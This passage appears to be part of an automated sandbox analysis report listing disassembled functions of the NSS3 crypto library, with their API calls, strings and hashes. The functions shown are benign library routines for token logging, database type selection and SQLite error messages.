Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C65AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C65AEA0

Strings

(CK_INVALID_HANDLE), xrefs: 6C65AE1F, 6C65AE80
nsl, xrefs: 6C65AEB8, 6C65AEE6
hSession = 0x%x, xrefs: 6C65AE01, 6C65AE11
hKey = 0x%x, xrefs: 6C65AE62, 6C65AE72
C_MessageSignInit, xrefs: 6C65ADE1

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nsl
API String ID: 332880674-3381343405
Opcode ID: bb48b9ce540f6259b9ca76786cb63c8250f0ea77f753dc74caaca9ce95a75f58
Instruction ID: af10e864e8b85fa2dbaf9aa89267d18c2ac49e74adc11612561c04813bda6dbf
Opcode Fuzzy Hash: bb48b9ce540f6259b9ca76786cb63c8250f0ea77f753dc74caaca9ce95a75f58
Instruction Fuzzy Hash: 7531F871B02114AFCB009F14DD8CBBE3B75AB4730DFA44435E5089BB12DB309929DBAA

Function 6C652DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C652DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C652E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C652E33

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C652E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C652E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C652E81

Strings

pPin = 0x%p, xrefs: 6C652E63
ulPinLen = %d, xrefs: 6C652E7C
(CK_INVALID_HANDLE), xrefs: 6C652E2C
nsl, xrefs: 6C652E99, 6C652EC4
hSession = 0x%x, xrefs: 6C652E0E, 6C652E1E
C_InitPIN, xrefs: 6C652DF1

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nsl
API String ID: 1003633598-1268303819
Opcode ID: 73aeae515bc67ba0052aa2ba33287a39fd87ca41726e4d23fe4b815b50202b5e
Instruction ID: 1b75caea1196d8deca6e740c523a1a746194a817b4ff8e1c450bd2b55dab79fb
Opcode Fuzzy Hash: 73aeae515bc67ba0052aa2ba33287a39fd87ca41726e4d23fe4b815b50202b5e
Instruction Fuzzy Hash: 3D31E771B02114AFDB009B14DD8CB8E7BB5EB4731DF644034E908A7B12DB309D59CBAA

Function 6C656EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C656F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656F53

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C656F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C656FA1

Strings

C_DigestUpdate, xrefs: 6C656F11
pPart = 0x%p, xrefs: 6C656F83
(CK_INVALID_HANDLE), xrefs: 6C656F4C
nsl, xrefs: 6C656FB9, 6C656FE7
hSession = 0x%x, xrefs: 6C656F2E, 6C656F3E
ulPartLen = %d, xrefs: 6C656F9C

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nsl
API String ID: 1003633598-4003348144
Opcode ID: 63d288486078b584c1d987e2f4d36771d718cd88029a9c07d3c9ac1499585237
Instruction ID: 6c936d6dc6f705c097c33ae9a9e6df71722412c58ac0f431abae2603ce2a61bd
Opcode Fuzzy Hash: 63d288486078b584c1d987e2f4d36771d718cd88029a9c07d3c9ac1499585237
Instruction Fuzzy Hash: 9931E935A121149FDB009B14DD8CB8A7BB6EB4331DFA58034E90897712DB31DD58CB9A

Function 6C73C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C73C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73C8DA
malloc.MOZGLUE(00000001), ref: 6C73C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C73C8F8
PR_NewLock.NSS3 ref: 6C73C909
PR_NewCondVar.NSS3(00000000), ref: 6C73C918
PR_NewCondVar.NSS3(00000000), ref: 6C73C92A

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

free.MOZGLUE(00000000), ref: 6C73C947

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: b04e8cf790ae1174befc7f727d97733b6fd825eee6a443501872c552cb3e695f
Instruction ID: bf5f39975249357300063f8710eef2ccec1b8eaf73813f6486eacaae78c1d716
Opcode Fuzzy Hash: b04e8cf790ae1174befc7f727d97733b6fd825eee6a443501872c552cb3e695f
Instruction Fuzzy Hash: 5F2108B1A003365BEB10BF788D0965B3AB8AF0525AF010538E85EC2B01EB30E514CBA6

Function 6C61AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C61AF47

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

FreeLibrary.KERNEL32(?), ref: 6C61AF6D
free.MOZGLUE(?), ref: 6C61AFA4
free.MOZGLUE(?), ref: 6C61AFAA
PR_ExitMonitor.NSS3 ref: 6C61AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C61AFF5
PR_ExitMonitor.NSS3 ref: 6C61B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C61B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C61B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C61B03C

Strings

%s decr => %d, xrefs: 6C61AFF0
Unloaded library %s, xrefs: 6C61B023

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 582d6357921631b3bbd8e110e0bec44f6c39448fd36c789a7b3b1d480cf1d8b1
Instruction ID: d5b150649ea5243c06fb7b03ec61341a487384ea16e5a5feb31bbf88cef49f75
Opcode Fuzzy Hash: 582d6357921631b3bbd8e110e0bec44f6c39448fd36c789a7b3b1d480cf1d8b1
Instruction Fuzzy Hash: 7431E3B5B09110AFDA019E69DC44A95B775EF4630AB284135E81587E42E722E82CCBEA

Function 6C666C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C66781D,00000000,6C65BE2C,?,6C666B1D,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?), ref: 6C666C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C666C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C666C96

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C666CAA

Strings

dbm:, xrefs: 6C666C3A
extern:, xrefs: 6C666C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C666C91
dbm, xrefs: 6C666CA4
rdb:, xrefs: 6C666C69
sql:, xrefs: 6C666C52

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: e8a92f08509e8a33a8ef62146f1eb7d310fd7671894a8154dd8386084fd092ed
Instruction ID: 53c0d52b4e40409f264e2e5af8e71a4432e0ad1964a4519901c796187d25eaf4
Opcode Fuzzy Hash: e8a92f08509e8a33a8ef62146f1eb7d310fd7671894a8154dd8386084fd092ed
Instruction Fuzzy Hash: 4E01A2A170271527E6002B7B6E4AF66655C9F4239EF140531FE08E0E81EAA6EA1440BE

Function 6C674E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6378F8), ref: 6C674E6D

Part of subcall function 6C6109E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6106A2,00000000,?), ref: 6C6109F8
Part of subcall function 6C6109E0: malloc.MOZGLUE(0000001F), ref: 6C610A18
Part of subcall function 6C6109E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C610A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6378F8), ref: 6C674ED9

Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C667703,?,00000000,00000000), ref: 6C665942
Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C667703), ref: 6C665954
Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C66596A
Part of subcall function 6C665920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C665984
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C665999
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C6659BA
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6659D3
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C6659F5
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C665A0A
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C665A2E
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C665A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674EB3

Part of subcall function 6C674820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67484C
Part of subcall function 6C674820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67486D
Part of subcall function 6C674820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C674EB8,?), ref: 6C674884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674EC0

Part of subcall function 6C674470: TlsGetValue.KERNEL32(00000000,?,6C637296,00000000), ref: 6C674487
Part of subcall function 6C674470: EnterCriticalSection.KERNEL32(?,?,?,6C637296,00000000), ref: 6C6744A0
Part of subcall function 6C674470: PR_Unlock.NSS3(?,?,?,?,6C637296,00000000), ref: 6C6744BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F8F
PK11_UpdateSlotAttribute.NSS3(?,6C74DCB0,00000000), ref: 6C674FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C67501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67506B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: a6bc6f8301ddd68c782ed018bfd3a00d18b827efea09f8d7cac1cc60dc8668e9
Instruction ID: 04465b74094e4cf966552344a21fe810f4e3b52a317d6d6c7fd1fc4314a43310
Opcode Fuzzy Hash: a6bc6f8301ddd68c782ed018bfd3a00d18b827efea09f8d7cac1cc60dc8668e9
Instruction Fuzzy Hash: E95128B1D002059BEB219F24EC096AB37B4FF0631DF140975EC1A86A11FB31D965CBBA

Function 6C61ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61ACE2
malloc.MOZGLUE(00000001), ref: 6C61ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C61AD02
TlsGetValue.KERNEL32 ref: 6C61AD3C
calloc.MOZGLUE(00000001,?), ref: 6C61AD8C
PR_Unlock.NSS3 ref: 6C61ADC0
free.MOZGLUE(00000000), ref: 6C61AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C61AE58
free.MOZGLUE(00000000), ref: 6C61AE69
free.MOZGLUE(?), ref: 6C61AE78
PR_Unlock.NSS3 ref: 6C61AE8C
free.MOZGLUE(?), ref: 6C61AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61AEC7

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 660f91b9fa9ee0694072f435d16fcdeb41976a70d9ebdc87f6f0da74ceabeefc
Instruction ID: ac832a1907e3e748848871820da3e945ebf454f75a930613b57c2f3825ead993
Opcode Fuzzy Hash: 660f91b9fa9ee0694072f435d16fcdeb41976a70d9ebdc87f6f0da74ceabeefc
Instruction Fuzzy Hash: 6F51AEB0F092299BDF01DF68C8456AA77B4BB0B34AF150135D914A3E12D731A909CBEA

Function 6C6F4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C6F4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4CFD
sqlite3_value_text16.NSS3(?), ref: 6C6F4D44

Strings

another row available, xrefs: 6C6F4D20
unknown error, xrefs: 6C6F4D56
API call with %s database connection pointer, xrefs: 6C6F4CF6
out of memory, xrefs: 6C6F4C78, 6C6F4C9E
invalid, xrefs: 6C6F4CF1
no more rows available, xrefs: 6C6F4D2E
abort due to ROLLBACK, xrefs: 6C6F4D27, 6C6F4D33
bad parameter or other API misuse, xrefs: 6C6F4D05

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: f8cabf4c3745c469f8d2214a2467ca765351b78ca6ba15a9265a3b01cb137cc8
Instruction ID: 7ee2bfdfc5050d8038f3ff95453d138c8aa5abd9d283d08018cf63351a16efa3
Opcode Fuzzy Hash: f8cabf4c3745c469f8d2214a2467ca765351b78ca6ba15a9265a3b01cb137cc8
Instruction Fuzzy Hash: 49316872A08911ABD70806289B217F573A77B83318F551135D4384BE59DBE1AC23C3FE

Function 6C652CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C652CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C652D07

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C652D22

Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730B88
Part of subcall function 6C7309D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C730C5D
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C730C8D
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730C9C
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730CD1
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730CEC
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730CFB
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730D16
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C730D26
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D35
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C730D65
Part of subcall function 6C7309D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C730D70
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730D90
Part of subcall function 6C7309D0: free.MOZGLUE(00000000), ref: 6C730D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C652D3B

Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730BAB
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730BBA
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C652D54

Part of subcall function 6C7309D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C730BCB
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730BDE
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730C16

Strings

pPin = 0x%p, xrefs: 6C652D1D
C_InitToken, xrefs: 6C652CE7
pLabel = 0x%p, xrefs: 6C652D4F
slotID = 0x%x, xrefs: 6C652D02
ulPinLen = %d, xrefs: 6C652D36
nsl, xrefs: 6C652D6C, 6C652D9A

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
